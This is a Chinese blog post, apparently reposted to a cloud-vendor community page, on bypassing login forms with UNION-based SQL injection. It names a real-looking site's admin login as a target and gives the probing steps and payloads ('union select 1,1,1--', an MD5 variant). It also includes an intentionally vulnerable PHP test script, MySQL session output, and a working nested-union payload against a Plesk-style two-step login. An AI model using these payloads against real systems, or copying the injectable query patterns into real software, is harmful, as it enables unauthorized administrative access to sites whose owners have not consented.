union万能密码By:dangdang

本文涉及的产品
云数据库 RDS MySQL Serverless,0.5-2RCU 50GB
简介:

 —————————asp代码—————————————–

username = request.form("username")
password = request.form("password ")
set rs=server.createobject("adodb.recordset")
sql = "select [password] from admin where UserName='"&username&"'"
rs.open sql,conn,1,3
If password = rs("password") then
…’登陆成功
End if 
——————————————————————————————————–

现在很多站点都是这种验证方式,用’ or ‘1′=’就不行了。比如这个站http://aks.akszy.com/admin/

用户名处输入一个单引号出错(有的时候也不一定出错),然后’ order by 2–正确 ,’ order by 3– 正确,’ order by 4–出错,只有3列,用户名输入用’union select 1,1,1– ,因为用户名没有为空的记录,所以union出来的所有字段值都是1,密码再填1登陆进去了…..

还有一种验证方式密码有md5比较,所以’union select 1,1,1……当中用1的md5值替换其中一个1(其中一个是密码字段),密码填1依然可以绕过。

如果是mysql的话可以搞二次攻击,以下是2月文章:

今天看到这个帖子,佩服各牛突然觉得这个Mysql + plesk 怎么有点鸡肋。我没有源码,只好通过出错信息来fuzzer。没想到一下就YY了半天。。。
看出错信息:
DB query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’;–” at line 1
———————- Debug Info ——————————-
0: plib\common_func.php3:243
db_query(string ’select id from admin_aliases where login=” union select login from admin_aliases;–”)
1: plib\class.AdminAlias.php:313
AdminAlias::findId(string ” union select login from admin_aliases;–’)
2: plib\cmd_loginup.php:147
createSession(string ” union select login from admin_aliases;–’, string ’******************************************’)
3: htdocs\login_up.php3:27
从SQL语句中可以大概猜测,这个login是字符类型的,而ID确是int类型,在MSSQL中union通过显错来获取信息可以证明这一点。根据大多数的web程序来推测的话,验证过程大概是这样。
1.通过用户名到数据库里寻找到该用户的ID值进行第一步判断。
2.找到了,再用这个ID值去找管理员的信息,可以使密码,也可以是*了,呵呵。
3.对提交的密码进行加密,和上一个结果集比对
令人高兴的是,这个系统大方的给了我单引号用,单咋一看,我们union控制结果集来绕过验证的常规思路似乎行不通。因为第一步只查找了那该死的ID。MSSQL报错。。报错。。那么MSSQL是个严谨的绅士,那MYSQL呢,我印象里他是个对类型不敏感的小流氓。这让人兴奋,我写了个小脚本来模拟这种“鸡肋”登陆注入的验证过程。
test.php
<?php
$uid = $_POST[uid];
$pwd = $_POST[pwd];

 

$link = mysql_connect(‘localhost’, ’root’, ’123456′)
or die(‘Could not connect: ’ . mysql_error());
//echo ’Connected successfully’;
mysql_select_db(‘test’) or die(‘Could not select database’);

//通过uid找到用户id 注意id为int
$query = ”SELECT id FROM admin where uid=’$uid’”;
echo ”执行的SQL语句为:$query<br>”;
$result = mysql_query($query) or die(‘Query failed: ’ . mysql_error());
$line = mysql_fetch_array($result,MYSQL_ASSOC);

$user_id = $line[id];

$query = ”SELECT * FROM admin where id=$user_id”;
echo ”执行的SQL语句为:$query<br>”;
$result = mysql_query($query) or die(‘Query failed: ’ . mysql_error());
$line = mysql_fetch_array($result,MYSQL_ASSOC);

//验证开始
if ($line[pwd] == $pwd){ echo ”验证成功!<br>”; } else { echo ”验证失败!<br>”; }

mysql_free_result($result);
mysql_close($link);
?>
login.htm
<form action=”http://localhost:8080/test.php” method=”POST”>
<input name=uid type=text size=80>
<br>
<input name=pwd type=text size=80>
<br>
<input type=submit>
</form>
很简陋哈,呵呵。先让我们看看mysql里的设置。
mysql> create table admin(uid varchar(10),pwd varchar(10),id int);
ERROR 1050 (42S01): Table ’admin’ already exists
mysql> drop table admin;
Query OK, 0 rows affected (0.03 sec)

mysql> create table admin(uid varchar(10),pwd varchar(10),id int);
Query OK, 0 rows affected (0.08 sec)

mysql> insert into admin values(‘admin’,'fuckme’,1);
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+——-+——–+——+
| uid   | pwd    | id   |
+——-+——–+——+
| admin | fuckme |    1 |
+——-+——–+——+
1 row in set (0.00 sec)
测了下验证程序ok,来测试mysql 一下语句
mysql> select id from admin union select 1;
+——+
| id   |
+——+
|    1 |
+——+
1 row in set (0.00 sec)

mysql> select id from admin union select ’fuckme,please’;
+—————+
| id            |
+—————+
| 1             |
| fuckme,please |
+—————+
2 rows in set (0.02 sec)
很好,Mysql果然没让人失望,这样意味着我们能控制$line[id]这个值了,他传递给$user_id到了第二个SQL语句中。继续在mysql里意淫:
mysql> select id from admin union select ’0 union select 1,2,3#’;
+———————–+
| id                    |
+———————–+
| 1                     |
| 0 union select 1,2,3# |
+———————–+
2 rows in set (0.00 sec)
这个时候按照理论上讲 我们在用户名那里提交:
‘union select ’-1 union select 1,1,1#’# 密码填 1就可以验证成功了,这些推理过程不说了,我不能班门弄斧啊

程序输出:
执行的SQL语句为:SELECT id FROM admin where uid=” and 1=2 union select ’-1 union select 1,1,1#’#’
执行的SQL语句为:SELECT * FROM admin where id=-1 union select 1,1,1#
验证成功!






















本文转sinojelly51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/354566,如需转载请自行联系原作者

相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
2月前
|
SQL 数据库
20、绕过去除and、or、union select、空格的sql注入
20、绕过去除and、or、union select、空格的sql注入
30 0
|
2月前
|
SQL 数据库
小课堂 -- 时间​​盲注和Bool盲注
小课堂 -- 时间​​盲注和Bool盲注
8 0
|
3月前
|
SQL
leetcode-SQL-182. 查找重复的电子邮箱
leetcode-SQL-182. 查找重复的电子邮箱
22 0
|
3月前
|
SQL 数据挖掘 数据处理
「SQL面试题库」 No_11 查找重复的电子邮箱
「SQL面试题库」 No_11 查找重复的电子邮箱
|
3月前
|
SQL 数据挖掘 数据处理
「SQL面试题库」 No_101 使用唯一标识码替换员工ID
「SQL面试题库」 No_101 使用唯一标识码替换员工ID
|
10月前
|
SQL 数据库
查阅必备----常用的SQL语句,配语句和图解超详细,不怕你忘记
查阅必备----常用的SQL语句,配语句和图解超详细,不怕你忘记
120 0
|
SQL Oracle 关系型数据库
【SQL开发实战技巧】系列(四):从执行计划讨论UNION ALL与空字符串&UNION与OR的使用注意事项
本篇文章讲解的主要内容是:***有重复数据的数据集用UNION后得到的数据与预期不一致如何解决,当两个表中有重复数据时,UNION的去重功能被忽略,UNION过程中如何识别展示出来、空值与空字符串的关系以及在UNION ALL中的使用、UNION与OR可以互相改写以及使用中的注意事项。***
【SQL开发实战技巧】系列(四):从执行计划讨论UNION ALL与空字符串&UNION与OR的使用注意事项
|
Python
禁止直接分配给多对多集的正面改用emails_for_help.set()
禁止直接分配给多对多集的正面改用emails_for_help.set()
多表查询 SQL21用户题目回答情况(三种写法)
多表查询 SQL21用户题目回答情况(三种写法)
133 0
多表查询 SQL21用户题目回答情况(三种写法)
|
SQL 关系型数据库 MySQL
软件测试mysql面试题:Union和Union All命令之间有什么区别?
软件测试mysql面试题:Union和Union All命令之间有什么区别?
95 0